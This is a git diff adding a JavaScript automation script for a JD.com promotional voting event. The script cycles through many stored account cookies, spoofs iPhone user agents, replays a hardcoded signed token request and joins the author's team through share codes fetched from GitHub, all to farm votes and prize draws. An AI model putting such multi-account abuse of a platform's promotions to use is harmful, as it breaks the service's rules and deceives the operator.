const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_golden_machine.js b/backUp/jd_golden_machine.js new file mode 100644 index 0000000..6bd1b85 --- /dev/null +++ b/backUp/jd_golden_machine.js @@ -0,0 +1,488 @@ +/** +活动路径 首页搜索 金机馆 +cron 33 4,7 8-20 8 * https://raw.githubusercontent.com/star261/jd/main/scripts/jd_golden_machine.js +第一个账号参加作者内置的团,其他账号参加第一个账号的团 + */ +const $ = new Env('金机奖投票'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +$.authorizationInfo = {}; +$.joinTeamLsit = []; +$.inviteList = []; +$.authorCode = ''; +let res = []; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + + try{res = await getAuthorShareCode('https://raw.githubusercontent.com/star261/jd/main/code/goldPhone.json');}catch (e) {} + if(!res){ + try{res = await getAuthorShareCode('https://gitee.com/star267/share-code/raw/master/goldPhone.json');}catch (e) {} + if(!res){res = [];} + } + if(res && res.length > 0){ + $.authorCode = getRandomArrayElements(res,1)[0]; + } + for (let i = 0; i < cookiesArr.length; i++) { + await getUA(); + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await main(); + await $.wait(1000); + $.authorizationInfo[$.UserName] = $.authorization; + } +})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}); + +async function main() { + $.token = ``; + await getToken(); + if($.token === `` || !$.token){ + console.log(`获取token失败`);return; + } + console.log(`token:${$.token}`); + await $.wait(1000); + $.authorization = ``; + await getJdUserInfo(); + if($.authorization === ``){ + console.log(`获取authorization失败`);return; + } + await $.wait(1000); + $.useInfo = {}; + await takeGetRequest('get_user_info'); + if(JSON.stringify($.useInfo) === `{}` || $.useInfo.status_code === 403){ + console.log(`获取用户信息失败,可能是黑号`);return; + } + console.log(`组队码:${$.useInfo.code}`); + await $.wait(1000); + $.homeInfo = {}; + await takeGetRequest('get_home_info'); + if(JSON.stringify($.homeInfo) === `{}`){ + console.log(`获取活动详情失败`);return; + } + if($.useInfo.member_team_id === 0 && $.authorCode){ + console.log(`去参团: ${$.authorCode}`) + await takePostRequest('join_team'); + }else{ + console.log(`已参团`); + } + if($.index === 1){ + $.authorCode = $.useInfo.code + } + $.needVoteList = $.homeInfo.hard_list; + await doVote(); + $.needVoteList = $.homeInfo.soft_list; + await doVote(); + $.teamInfo = {} + $.type = 1; + await takeGetRequest('team_info'); + console.log(`自己队伍分数:${$.teamInfo.team_vote_total}`); + await $.wait(2000); + if(Number($.teamInfo.my_vote_total) > 0){ + if($.teamInfo.draw_total_first === 0 && $.teamInfo.team_vote_total >= 80){ + console.log(`去抽奖1`); + $.draw_type = 1; + await takePostRequest('draw_prize'); + await $.wait(2000); + } + if($.teamInfo.draw_total_second === 1 && $.teamInfo.team_vote_total >= 180){ + console.log(`去抽奖2`); + $.draw_type = 2; + await takePostRequest('draw_prize'); + await $.wait(2000); + } + } + $.type = 2; + await takeGetRequest('team_info'); + console.log(`加入队伍分数:${$.teamInfo.team_vote_total}`); + await $.wait(2000); + if(Number($.teamInfo.my_vote_total) > 0){ + if($.teamInfo.draw_total_first === 0 && $.teamInfo.team_vote_total >= 80){ + console.log(`去抽奖3`); + $.draw_type = 1; + await takePostRequest('draw_prize'); + await $.wait(2000); + } + if($.teamInfo.draw_total_second === 1 && $.teamInfo.team_vote_total >= 180){ + console.log(`去抽奖4`); + $.draw_type = 2; + await takePostRequest('draw_prize'); + await $.wait(2000); + } + } + await takeGetRequest('my_prize'); +} + +async function doVote(){ + for (let i = 0; i < $.needVoteList.length; i++) { + $.oneVoteInfo = $.needVoteList[i]; + if($.oneVoteInfo.is_vote === 1){ + console.log(`${$.oneVoteInfo.name},已投票`); + continue; + } + $.productList = $.oneVoteInfo.product_list; + $.productList = $.productList.sort(compare('vote_total')); + $.productInfo = $.productList[0]; + console.log(`${$.oneVoteInfo.name},去投票,投给${$.productInfo.product_name}`); + await takePostRequest('product_vote'); + await $.wait(2000); + } +} + +function compare(property){ + return function(a,b){ + var value1 = a[property]; + var value2 = b[property]; + return value2 - value1; + } +} +async function takeGetRequest(type){ + let url= `https://xinrui1-isv.isvjcloud.com/gapi/${type}`; + if( type === 'team_info'){ + url = `https://xinrui1-isv.isvjcloud.com/gapi/team_info?type=${$.type}`; + }else if(type === 'my_prize'){ + url = `https://xinrui1-isv.isvjcloud.com/gapi/my_prize?type=5&page=1` + } + let myRequest = getGetRequest(url); + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + dealReturn(type, data); + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function takePostRequest(type){ + let url = ''; + let body = ''; + switch (type) { + case 'product_vote': + body= JSON.stringify({"position_id":$.oneVoteInfo.id,"product_id":$.productInfo.id}); + url = `https://xinrui1-isv.isvjcloud.com/gapi/product_vote`; + break; + case 'join_team': + body= JSON.stringify({"inviter_id":$.authorCode}); + url = `https://xinrui1-isv.isvjcloud.com/gapi/join_team`; + break; + case 'draw_prize': + body= JSON.stringify({"type":$.type ,"draw_type":$.draw_type}); + url = `https://xinrui1-isv.isvjcloud.com/gapi/draw_prize`; + break; + default: + console.log(`错误${type}`); + } + let myRequest = getPostRequest(url,body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + if(data){ + dealReturn(type, data); + }else{ + //console.log(`为空`) + } + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function dealReturn(type, data) { + try { + data = JSON.parse(data); + }catch (e) { + console.log(`执行任务异常`); + console.log(data); + $.runFalag = false; + } + switch (type) { + case 'get_home_info': + if(data){ + $.homeInfo = data; + } + break; + case 'get_user_info': + if(data){ + $.useInfo = data; + } + break; + case 'home_task_info': + if(data){ + $.taskInfo = data; + } + break; + case 'product_vote': + if(data){ + console.log(`投票成功,获得豆子:${data.beans_num || 0}`); + } + break; + case 'join_team': + if(data){ + console.log(JSON.stringify(data)); + } + break; + case 'team_info': + if(data){ + $.teamInfo = data + } + break; + case 'draw_prize': + if(data){ + console.log(JSON.stringify(data)); + } + break; + case 'my_prize': + if(data){ + let message = ''; + if(data && data.length>0){ + for (let i = 0; i < data.length; i++) { + let oneInfo = data[i]; + if(oneInfo.is_get !== 1){ + console.log(`奖品:${oneInfo.name},未填写地址`) + message+= oneInfo.name+'\n'; + }else{ + console.log(`奖品:${oneInfo.name},已填写地址`) + } + } + if(message !== ''){ + message = `京东账号${$.index} ${$.UserName},抽到实物,请到APP填写地址\n 活动路径: 手机馆--》IQOO大牌日--》左下角金机馆\n`+message; + notify.sendNotify(`金机奖投票`,message); + } + } + } + break; + default: + console.log(JSON.stringify(data)); + } +} +function getGetRequest(url) { + let headers = { + 'Host': 'xinrui1-isv.isvjcloud.com', + 'Accept-Encoding': 'gzip, deflate, br', + 'Cookie': $.cookie + `wait-update=${$.authorization};`, + 'Connection':'keep-alive', + 'User-Agent':$.UA, + 'Authorization': 'bearer '+ ($.authorization === '' ? 'undefined' : $.authorization), + 'Referer': 'https://xinrui1-isv.isvjcloud.com/gold-phone/loading/', + 'Accept-Language': 'zh-cn', + } + return {url: url, headers: headers}; +} +function getPostRequest(url,body) { + let headers = { + 'Host': 'xinrui1-isv.isvjcloud.com', + 'Accept':'application/x.jd-school-raffle.v1+json', + 'Authorization': 'Bearer '+ ($.authorization === '' ? 'undefined' : $.authorization), + 'Source':'02', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type':'application/json;charset=utf-8', + 'Origin':'https://xinrui1-isv.isvjcloud.com', + 'User-Agent':$.UA, + 'Connection':'keep-alive', + 'Referer':'https://xinrui1-isv.isvjcloud.com/gold-phone/?channel=fc&tttparams=MMzMjfMTeyJnTG5nIjoiMTIxLjM5MzIwMyIsImdMYXQiOiIzMS4yMjI3NzEifQ8%3D%3D&lng=121.393203&lat=31.222771&sid=38228f043bc4906c37889c187fd10b5w&un_area=2_2841_61104_0', + 'Content-Length':32, + 'Cookie': `jd-golden-phone=${$.authorization};`, + } + return {url: url, headers: headers,body:body}; +} +async function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/3364463029;appBuild/167764;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +async function getToken() { + let config = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + body: 'area=16_1315_3486_59648&body=%7B%22url%22%3A%22https%3A%5C/%5C/xinrui1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone12%2C1&eid=eidIde27812210seewuOJWEnRZ6u7X5cB/JIQnsLj51RJEe7PtlRG/yNSbeUMf%2BbNdgjQzFxhZsU4m5/PLZOhi87ebHQ0wPc9qd82Bh%2BVoPAhwbhRqFY&isBackground=N&joycious=54&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=ebf4ce8ecbb641054b00c00483b1cee85660d196&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=3090b2b2997d877191d0aef083b8d985&st=1628230407213&sv=102&uemps=0-0&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJtgH/sOkA5ELPGCiuUXbsrWcAq%2B0c83LNknkzBXgDXlQ3pq2eMY2enviS/%2BJ6TGkfqBEbO/bQ5%2BKGVjit9RrmNU/D2OwTZ2Bqi/idA2EqDmsJuNS3bvh8kCV4sO4DAHDETkc3g6r8ZeDy72mlQ1hCUss2YaXalY%2BbnkC07OlzyjC8/fuhehBm0g%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-CN;q=1, en-CN;q=0.9', + 'accept-encoding':' gzip, deflate, br', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': $.cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.token = data['token'] + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function getJdUserInfo(){ + let url= `https://xinrui1-isv.isvjcloud.com/gapi/jd-user-info`; + let body = `{"token":"${$.token}","source":"01"}`; + let headers = { + 'Host': 'xinrui1-isv.isvjcloud.com', + 'Accept': 'application/json, text/plain, */*', + 'Authorization': 'bearer '+ ($.authorization === '' ? 'undefined' : $.authorization), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type':'application/json;charset=utf-8', + 'Origin':'https://xinrui1-isv.isvjcloud.com', + 'User-Agent':$.UA, + 'Connection':'keep-alive', + 'Referer':'https://xinrui1-isv.isvjcloud.com/gold-phone/logined_jd/', + 'Content-Length':'101', + 'Cookie': $.cookie, + } + let myRequest = {url: url, headers: headers, body: body}; + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data); + $.authorization = data.access_token; + } + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getRandomArrayElements(arr, count) { + var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; + while (i-- > min) { + index = Math.floor((i + 1) * Math.random()); + temp = shuffled[index]; + shuffled[index] = shuffled[i]; + shuffled[i] = temp; + } + return shuffled.slice(min); +} +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + "url": `${url}`, + "timeout": 10000, + "headers": { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data || []); + } + }) + await $.wait(10000) + resolve(); + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let 